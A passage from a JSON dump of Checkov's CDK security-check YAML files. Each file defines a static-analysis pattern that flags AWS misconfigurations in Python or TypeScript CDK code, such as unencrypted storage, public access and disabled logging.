    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_115\n  name: Ensure that AWS Lambda function is configured for function-level concurrent execution limit\n  category: GENERAL_SECURITY\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  patterns:\n    or:\n      - pattern: aws_cdk.aws_lambda.Function(<ANY>)\n        conditions:\n          - not_pattern: aws_cdk.aws_lambda.Function(<ANY>, reserved_concurrent_executions=$NUM, <ANY>)\n      - pattern: aws_cdk.aws_sam.CfnFunction(<ANY>)\n        conditions:\n          - not_pattern: aws_cdk.aws_sam.CfnFunction(<ANY>, reserved_concurrent_executions=$NUM, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/LambdaInVPC.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_117\n  name: Ensure that AWS Lambda function is configured inside a VPC\n  category: GENERAL_SECURITY\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  patterns:\n    or:\n      - pattern: aws_cdk.aws_lambda.Function(<ANY>)\n        conditions:\n          - not_pattern: aws_cdk.aws_lambda.Function(<ANY>, vpc=$VPC, <ANY>)\n      - pattern: aws_cdk.aws_sam.CfnFunction(<ANY>)\n        conditions:\n          - not_pattern: aws_cdk.aws_sam.CfnFunction(<ANY>, vpc_config=$ARG, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/LaunchConfigurationEBSEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_8\n  name: Ensure all data stored in the Launch configuration EBS is securely encrypted\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: |\n      aws_cdk.aws_autoscaling.CfnLaunchConfiguration(<ANY>, block_device_mappings=[<ANY>, {'ebs':{'encrypted': False}} ,<ANY>] ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/NeptuneClusterStorageEncrypted.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_44\n  name: Ensure Neptune storage is securely encrypted\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  patterns:\n    or:\n      - pattern: aws_cdk.aws_neptune.CfnDBCluster(<ANY>)\n        conditions:\n          - not_pattern: aws_cdk.aws_neptune.CfnDBCluster(<ANY>, storage_encrypted=True , <ANY>)\n      - pattern: aws_cdk.aws_neptune.DatabaseCluster(<ANY>)\n        conditions:\n          - not_pattern: aws_cdk.aws_neptune.DatabaseCluster(<ANY>, storage_encrypted=True , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/RDSEnhancedMonitorEnabled.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_118\n  name: Ensure that enhanced monitoring is enabled for Amazon RDS instances\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_rds.DatabaseInstance(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_rds.DatabaseInstance(<ANY>, monitoring_interval=$COUNT , <ANY>)\n    - metavariable: $COUNT\n      comparison: $COUNT != 0\n"
  },
  {
    "path": "checkov/cdk/checks/python/RDSMultiAZEnabled.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_157\n  name: Ensure that RDS instances have Multi-AZ enabled\n  category: NETWORKING\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_rds.CfnDBInstance(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_rds.CfnDBInstance(<ANY>, multi_az=True ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/RDSPubliclyAccessible.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_17\n  name: Ensure all data stored in RDS is not publicly accessible\n  category: NETWORKING\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_rds.DatabaseInstance(<ANY>, publicly_accessible=True , <ANY>)\n"
  },
  {
    "path": "checkov/cdk/checks/python/RedShiftSSL.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_105\n  name: Ensure Redshift uses SSL\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_redshift.CfnClusterParameterGroup(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_redshift.CfnClusterParameterGroup(<ANY>, parameters=[<ANY>, aws_cdk.aws_redshift.CfnClusterParameterGroup.ParameterProperty(<ANY>, parameter_name='require_ssl', <ANY>, parameter_value='true', <ANY>) ,<ANY>] , <ANY>)\n    - not_pattern: aws_cdk.aws_redshift.CfnClusterParameterGroup(<ANY>, parameters=[<ANY>, aws_cdk.aws_redshift.CfnClusterParameterGroup.ParameterProperty(<ANY>, parameter_value='true', <ANY>, parameter_name='require_ssl', <ANY>) ,<ANY>] , <ANY>)\n    - not_pattern: |\n        aws_cdk.aws_redshift.CfnClusterParameterGroup(<ANY>, parameters=[<ANY>, {'parameterName': 'require_ssl','parameterValue': 'true'} ,<ANY>] , <ANY>)\n    - not_pattern: |\n        aws_cdk.aws_redshift.CfnClusterParameterGroup(<ANY>, parameters=[<ANY>, {'parameterValue': 'true','parameterName': 'require_ssl'} ,<ANY>] , <ANY>)\n"
  },
  {
    "path": "checkov/cdk/checks/python/RedshiftClusterEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_64\n  name: Ensure all data stored in the Redshift cluster is securely encrypted at rest\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_redshift.CfnCluster(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_redshift.CfnCluster(<ANY>, encrypted=True , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/RedshiftClusterLogging.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_71\n  name: Ensure Redshift Cluster logging is enabled\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_redshift.CfnCluster(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_redshift.CfnCluster(<ANY>, logging_properties=aws_cdk.aws_redshift.CfnCluster.LoggingPropertiesProperty(<ANY>, bucket_name=$ARG ,<ANY>) ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/RedshiftClusterPubliclyAccessible.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_87\n  name: Redshift cluster should not be publicly accessible\n  category: NETWORKING\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_redshift.CfnCluster(<ANY>, publicly_accessible=True , <ANY>)\n"
  },
  {
    "path": "checkov/cdk/checks/python/RedshiftInEc2ClassicMode.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_154\n  name: Ensure Redshift is not deployed outside of a VPC\n  category: NETWORKING\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_redshift.CfnCluster(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_redshift.CfnCluster(<ANY>, cluster_subnet_group_name=$ARG ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/S3BlockPublicACLs.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_53\n  name: Ensure S3 bucket has block public ACLS enabled\n  category: GENERAL_SECURITY\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  patterns:\n    or:\n      - pattern: aws_cdk.aws_s3.Bucket(<ANY>)\n        conditions:\n          - not_pattern: aws_cdk.aws_s3.Bucket(<ANY>, block_public_access=aws_cdk.aws_s3.BlockPublicAccess(<ANY>, block_public_acls=True, <ANY>), <ANY>)\n      - pattern: aws_cdk.aws_s3.CfnBucket(<ANY>)\n        conditions:\n          - not_pattern: 'aws_cdk.aws_s3.CfnBucket(<ANY>, public_access_block_configuration={<ANY>, \"blockPublicAcls\": True, <ANY>} , <ANY>)'"
  },
  {
    "path": "checkov/cdk/checks/python/S3BlockPublicPolicy.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_54\n  name: Ensure S3 bucket has block public policy enabled\n  category: GENERAL_SECURITY\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_s3.Bucket(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_s3.Bucket(<ANY>, block_public_access=aws_cdk.aws_s3.BlockPublicAccess.BLOCK_ALL, <ANY>)\n    - not_pattern: aws_cdk.aws_s3.Bucket(<ANY>, block_public_access=aws_cdk.aws_s3.BlockPublicAccess(block_public_policy=True), <ANY>)\n"
  },
  {
    "path": "checkov/cdk/checks/python/S3BucketEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  id: CKV_AWS_19\n  name: Ensure all data stored in the S3 bucket is securely encrypted at rest\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  patterns:\n    or:\n      - pattern: aws_cdk.aws_s3.Bucket(<ANY>)\n        conditions:\n          - not_pattern: aws_cdk.aws_s3.Bucket(<ANY>, encryption=aws_cdk.aws_s3.BucketEncryption.$ANY_VAR, <ANY>)\n      - pattern: aws_cdk.aws_s3.Bucket(<ANY>, encryption=aws_cdk.aws_s3.BucketEncryption.UNENCRYPTED, <ANY>)\n"
  },
  {
    "path": "checkov/cdk/checks/python/S3BucketKMSEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  id: CKV_AWS_145\n  name: Ensure that S3 buckets are encrypted with KMS by default\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  patterns:\n    or:\n      - pattern: aws_cdk.aws_s3.Bucket(<ANY>)\n        conditions:\n          - not_pattern: aws_cdk.aws_s3.Bucket(<ANY>, encryption=aws_cdk.aws_s3.BucketEncryption.$ANY_VAR, <ANY>)\n      - pattern: aws_cdk.aws_s3.Bucket(<ANY>, encryption=aws_cdk.aws_s3.BucketEncryption.$ENCRYPTION, <ANY>)\n        conditions:\n          - metavariable: $ENCRYPTION\n            regex: ^(S3_MANAGED|UNENCRYPTED)$\n"
  },
  {
    "path": "checkov/cdk/checks/python/S3BucketLogging.yaml",
    "content": "metadata:\n  version: 0.2\n  id: CKV_AWS_18\n  name: Ensure the S3 bucket has access logging enabled\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_s3.Bucket(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_s3.Bucket(<ANY>, server_access_logs_bucket=$ANY_VAR, <ANY>)\n"
  },
  {
    "path": "checkov/cdk/checks/python/S3BucketPublicAccessBlock.yaml",
    "content": "metadata:\n  version: 0.2\n  id: CKV2_AWS_6\n  name: Ensure that S3 bucket has a Public Access block\n  category: NETWORKING\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_s3.Bucket(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_s3.Bucket(<ANY>, block_public_access=$ANY_VAR, <ANY>)\n"
  },
  {
    "path": "checkov/cdk/checks/python/S3BucketVersioning.yaml",
    "content": "metadata:\n  version: 0.2\n  id: CKV_AWS_21\n  name: Ensure all data stored in the S3 bucket have versioning enabled\n  category: BACKUP_AND_RECOVERY\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_s3.Bucket(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_s3.Bucket(<ANY>, versioned=True, <ANY>)\n"
  },
  {
    "path": "checkov/cdk/checks/python/S3IgnorePublicACLs.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_55\n  name: Ensure S3 bucket has ignore public ACLs enabled\n  category: GENERAL_SECURITY\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_s3.Bucket(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_s3.Bucket(<ANY>, block_public_access=aws_cdk.aws_s3.BlockPublicAccess.BLOCK_ALL, <ANY>)\n    - not_pattern: aws_cdk.aws_s3.Bucket(<ANY>, block_public_access=aws_cdk.aws_s3.BlockPublicAccess.BLOCK_ACLS, <ANY>)\n    - not_pattern: aws_cdk.aws_s3.Bucket(<ANY>, block_public_access=aws_cdk.aws_s3.BlockPublicAccess(ignore_public_acls=True), <ANY>)\n"
  },
  {
    "path": "checkov/cdk/checks/python/S3PublicACLRead.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_20\n  name: Ensure the S3 bucket does not allow READ permissions to everyone\n  category: GENERAL_SECURITY\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  or:\n    - pattern: aws_cdk.aws_s3.Bucket(<ANY>, access_control=$ARG, <ANY>)\n      conditions:\n        or:\n          - metavariable: $ARG\n            pattern: aws_cdk.aws_s3.BucketAccessControl.PUBLIC_READ\n          - metavariable: $ARG\n            pattern: aws_cdk.aws_s3.BucketAccessControl.PUBLIC_READ_WRITE\n    -  pattern: aws_cdk.aws_s3.Bucket(<ANY>, public_read_access=True, <ANY>)\n"
  },
  {
    "path": "checkov/cdk/checks/python/S3PublicACLWrite.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_57\n  name: Ensure the S3 bucket does not allow WRITE permissions to everyone\n  category: GENERAL_SECURITY\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  or:\n    - pattern: aws_cdk.aws_s3.Bucket(<ANY>, access_control=$ARG, <ANY>)\n      conditions:\n        - metavariable: $ARG\n          pattern: aws_cdk.aws_s3.BucketAccessControl.PUBLIC_READ_WRITE\n    -  pattern: aws_cdk.aws_s3.Bucket(<ANY>, public_read_access=True, <ANY>)\n"
  },
  {
    "path": "checkov/cdk/checks/python/S3RestrictPublicBuckets.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_56\n  name: Ensure S3 bucket has 'restrict_public_buckets' enabled\n  category: GENERAL_SECURITY\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  patterns:\n    or:\n      - pattern: aws_cdk.aws_s3.Bucket(<ANY>)\n        conditions:\n          - not_pattern: aws_cdk.aws_s3.Bucket(<ANY>, restrict_public_buckets=True, <ANY>)\n      - pattern: aws_cdk.aws_s3.CfnBucket(<ANY>)\n        conditions:\n          - not_pattern: 'aws_cdk.aws_s3.CfnBucket(<ANY>, public_access_block_configuration={<ANY>, \"restrictPublicBuckets\": True, <ANY>} , <ANY>)'"
  },
  {
    "path": "checkov/cdk/checks/python/SNSTopicEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_26\n  name: Ensure all data stored in the SNS topic is encrypted\n  category: Encryption\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_sns.Topic(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_sns.Topic(<ANY>,master_key=$ARG)\n"
  },
  {
    "path": "checkov/cdk/checks/python/SQSQueueEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_27\n  name: Ensure all data stored in the SQS queue is encrypted\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  patterns:\n    or:\n      - pattern: aws_cdk.aws_sqs.Queue(<ANY>)\n        conditions:\n          - not_pattern: aws_cdk.aws_sqs.Queue(<ANY>, encryption_master_key=$KEY, <ANY>)\n      - pattern: aws_cdk.aws_sqs.CfnQueue(<ANY>)\n        conditions:\n          - not_pattern: aws_cdk.aws_sqs.CfnQueue(<ANY>, kms_master_key_id=$KEY, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/SecretManagerSecretEncrypted.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_149\n  name: Ensure that Secrets Manager secret is encrypted using KMS CMK\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  patterns:\n    or:\n      - pattern: aws_cdk.aws_secretsmanager.Secret(<ANY>)\n        conditions:\n          - not_pattern: aws_cdk.aws_secretsmanager.Secret(<ANY>, kms_key_id=$ARG , <ANY>)\n      - pattern: aws_cdk.aws_secretsmanager.Secret(<ANY>, kms_key_id=$ARG2 , <ANY>)\n        conditions:\n          - metavariable: $ARG2\n            regex: (aws/)"
  },
  {
    "path": "checkov/cdk/checks/python/SecurityGroupRuleDescription.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_23\n  name: Ensure every security groups rule has a description\n  category: NETWORKING\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  patterns:\n    or:\n      - pattern: aws_cdk.aws_ec2.CfnSecurityGroup(<ANY>, security_group_egress=[<ANY>] ,<ANY>)\n        conditions:\n          - not_pattern: |\n              aws_cdk.aws_ec2.CfnSecurityGroup(<ANY>, security_group_egress=[<ANY>, {<ANY>, 'description': 'True' ,<ANY>} ,<ANY>] ,<ANY>)\n      - pattern: aws_cdk.aws_ec2.CfnSecurityGroup(<ANY>, security_group_ingress=[<ANY>] ,<ANY>)\n        conditions:\n          - not_pattern: |\n              aws_cdk.aws_ec2.CfnSecurityGroup(<ANY>, security_group_ingress=[<ANY>, {<ANY>, 'description': 'True' ,<ANY>} ,<ANY>] ,<ANY>)\n      - pattern: aws_cdk.aws_ec2.CfnSecurityGroupIngress(<ANY>)\n        conditions:\n          - not_pattern: aws_cdk.aws_ec2.CfnSecurityGroupIngress(<ANY>, description=$ARG ,<ANY>)\n      - pattern: aws_cdk.aws_ec2.CfnSecurityGroupEgress(<ANY>)\n        conditions:\n          - not_pattern: aws_cdk.aws_ec2.CfnSecurityGroupEgress(<ANY>, description=$ARG ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/TransferServerIsPublic.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_164\n  name: Ensure Transfer Server is not exposed publicly.\n  category: GENERAL_SECURITY\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_transfer.CfnServer(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_transfer.CfnServer(<ANY>, endpoint_type='VPC', <ANY>)\n    - not_pattern: aws_cdk.aws_transfer.CfnServer(<ANY>, endpoint_type='VPC_ENDPOINT' , <ANY>)\n"
  },
  {
    "path": "checkov/cdk/checks/python/VPCEndpointAcceptanceConfigured.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_123\n  name: Ensure that VPC Endpoint Service is configured for Manual Acceptance\n  category: NETWORKING\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_ec2.CfnVPCEndpointService(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_ec2.CfnVPCEndpointService(<ANY>, acceptance_required=True ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/WAFEnabled.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_68\n  name: CloudFront Distribution should have WAF enabled\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_cloudfront.CfnDistribution(<ANY>)\n  conditions:\n    - not_pattern: 'aws_cdk.aws_cloudfront.CfnDistribution(<ANY>, distribution_config={\"webAclId\": $ARG} , <ANY>)'"
  },
  {
    "path": "checkov/cdk/checks/python/WorkspaceRootVolumeEncrypted.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_156\n  name: Ensure that Workspace root volumes are encrypted\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_workspaces.CfnWorkspace(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_workspaces.CfnWorkspace(<ANY>, root_volume_encryption_enabled=True , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/python/WorkspaceUserVolumeEncrypted.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_155\n  name: Ensure that Workspace user volumes are encrypted\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - python\ndefinition:\n  pattern: aws_cdk.aws_workspaces.CfnWorkspace(<ANY>)\n  conditions:\n    - not_pattern: aws_cdk.aws_workspaces.CfnWorkspace(<ANY>, user_volume_encryption_enabled=True , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/ALBDropHttpHeaders.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_131\n  name: Ensure that ALB drops HTTP headers\n  category: NETWORKING\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.CfnLoadBalancer(<ANY>)\n  conditions:\n    - not_pattern: |\n        new $AWS.CfnLoadBalancer(<ANY>, { <ANY>, type: 'application', <ANY>, loadBalancerAttributes: [<ANY>, {'key': 'routing.http.drop_invalid_header_fields.enabled', 'value': 'true'} ,<ANY>] }, <ANY>)\n    - not_pattern: |\n        new $AWS.CfnLoadBalancer(<ANY>, { <ANY>, type: 'application', <ANY>, loadBalancerAttributes: [<ANY>, {'value': 'true', 'key': 'routing.http.drop_invalid_header_fields.enabled'} ,<ANY>] }, <ANY>)\n    - not_pattern: |\n        new $AWS.CfnLoadBalancer(<ANY>, { <ANY>, loadBalancerAttributes: [<ANY>, {'key': 'routing.http.drop_invalid_header_fields.enabled', 'value': 'true'} ,<ANY>], <ANY>, type: 'application' }, <ANY>)\n    - not_pattern: |\n        new $AWS.CfnLoadBalancer(<ANY>, { <ANY>, loadBalancerAttributes: [<ANY>, {'value': 'true', 'key': 'routing.http.drop_invalid_header_fields.enabled'} ,<ANY>], <ANY>, type: 'application' }, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/ALBListenerHTTPS.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_2\n  name: Ensure EFS is securely encrypted\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.CfnListener(<ANY>)\n  conditions:\n    - not_pattern: |\n        new $AWS.CfnListener(<ANY>, { <ANY>, protocol: 'HTTPS', <ANY> }, <ANY>)\n    - not_pattern: |\n        new $AWS.CfnListener(<ANY>, { <ANY>, protocol: 'TLS', <ANY> }, <ANY>)\n    - not_pattern: |\n        new $AWS.CfnListener(<ANY>, { <ANY>, protocol: 'TCP', <ANY> }, <ANY>)\n    - not_pattern: |\n        new $AWS.CfnListener(<ANY>, { <ANY>, protocol: 'UDP', <ANY> }, <ANY>)\n    - not_pattern: |\n        new $AWS.CfnListener(<ANY>, { <ANY>, protocol: 'TCP_UDP', <ANY> }, <ANY>)\n    - not_pattern: |\n        new $AWS.CfnListener(<ANY>, { defaultActions: [<ANY>, {type: 'redirect', redirectConfig:{protocol: 'HTTPS'}} , <ANY>] }, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/APIGatewayAccessLogging.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_76\n  name: Ensure API Gateway has Access Logging enabled\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  patterns:\n    or:\n      - pattern: new $AWS.CfnStage(<ANY>)\n        conditions:\n          - not_pattern: |\n              new $AWS.CfnStage(<ANY>, { <ANY>, accessLogSetting: { <ANY>, destinationArn: $ARG , <ANY> }, <ANY> } , <ANY>)\n      - pattern: $AWS.Api(<ANY>)\n        conditions:\n          - not_pattern: |\n              new $AWS.Api(<ANY>, { <ANY>, accessLogSetting: { <ANY>, destinationArn: $ARG , <ANY> }, <ANY> } , <ANY>)\n"
  },
  {
    "path": "checkov/cdk/checks/typescript/APIGatewayAuthorization.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_59\n  name: Ensure there is no open access to back-end resources through API\n  category: GENERAL_SECURITY\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  patterns:\n    or:\n      - pattern: |\n          const $METHOD = $RESOURCE.addMethod($HTTP_METHOD, <ANY>, { <ANY>, apiKeyRequired: false });\n        conditions:\n          - not_pattern: |\n              const $METHOD = $RESOURCE.addMethod($HTTP_METHOD, <ANY>, { <ANY>, authorizationType: $AUTH });\n          - metavariable: $AUTH\n            regex: ($IMPORT.AuthorizationType.COGNITO|$IMPORT.AuthorizationType.IAM|$IMPORT.AuthorizationType.CUSTOM)\n      - pattern: |\n          const $METHOD = $RESOURCE.addMethod($HTTP_METHOD, <ANY>, { <ANY>, authorizationType: $IMPORT.AuthorizationType.NONE, <ANY> });\n        conditions:\n          - not_pattern: |\n              const $METHOD = $RESOURCE.addMethod($HTTP_METHOD, <ANY>, { <ANY>, apiKeyRequired: false });\n  conditions:\n    - metavariable: $HTTP_METHOD\n      not_regex: OPTIONS"
  },
  {
    "path": "checkov/cdk/checks/typescript/APIGatewayCacheEnable.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_120\n  name: Ensure API Gateway caching is enabled\n  category: BACKUP_AND_RECOVERY\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  patterns:\n    or:\n      - pattern: new $AWS.Stage(<ANY>)\n        conditions:\n          - not_pattern: |\n              new $AWS.Stage(<ANY>, { <ANY>, cacheClusterEnabled: true, <ANY>} , <ANY>)\n      - pattern: new $AWS.CfnApi(<ANY>)\n        conditions:\n          - not_pattern: |\n              new $AWS.CfnApi(<ANY>, { <ANY>, cacheClusterEnabled: true , <ANY>} , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/APIGatewayV2AccessLogging.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_95\n  name: Ensure API Gateway V2 has Access Logging enabled\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.$FUNC(<ANY>)\n  conditions:\n    - not_pattern: |\n        new $AWS.$FUNC(<ANY>, { <ANY>, accessLogSettings: {<ANY>, destinationArn: $ARG ,<ANY>} ,<ANY>}, <ANY>)\n    - metavariable: $FUNC\n      regex: (CfnStage|CfnApi)\n"
  },
  {
    "path": "checkov/cdk/checks/typescript/APIGatewayXray.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_73\n  name: Ensure API Gateway has X-Ray Tracing enabled\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.CfnStage(<ANY>)\n  conditions:\n    - not_pattern: |\n        new $AWS.CfnStage(<ANY>, {<ANY>, tracingEnabled: true, <ANY> }, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/AmazonMQBrokerPublicAccess.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_69\n  name: Ensure Amazon MQ Broker should not have public access\n  category: GENERAL_SECURITY\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: |\n    new $AWS.CfnBroker(<ANY>, { <ANY>, publiclyAccessible: true, <ANY> }, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/AppSyncFieldLevelLogs.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_194\n  name: Ensure AppSync has Field-Level logs enabled\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  patterns:\n    or:\n    - pattern: |\n        const $logConfig: $IMPORT.LogConfig = $CONFIG;\n    - pattern: |\n        new $IMPORT.GraphqlApi($ARG1, $ARG2, {<ANY>, logConfig: $CONFIG, <ANY>});\n  conditions:\n    - or:\n      - metavariable: $CONFIG\n        not_pattern: |\n          {<ANY>, fieldLogLevel: $ARG, <ANY> }\n      - metavariable:  $CONFIG\n        pattern: |\n          {<ANY>, fieldLogLevel: $ARG, <ANY> }\n        conditions:\n          - metavariable: $ARG\n            regex: (NONE)\n"
  },
  {
    "path": "checkov/cdk/checks/typescript/AppSyncLogging.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_193\n  name: Ensure AppSync has Logging enabled\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: |\n    const $logConfig: appsync.LogConfig = { <ANY> };\n  conditions:\n    - not_pattern: |\n        new $IMPORT.GraphqlApi(<ANY>, <ANY>, { <ANY>,  role: <ANY>});\n    - not_pattern: |\n        const $LOG: $IMPORT.LogConfig = { role: <ANY> };\n        <ANY>\n        new $IMPORT.GraphqlApi(<ANY>, <ANY>, { <ANY>,  $LOG});\n"
  },
  {
    "path": "checkov/cdk/checks/typescript/AthenaWorkgroupConfiguration.yaml",
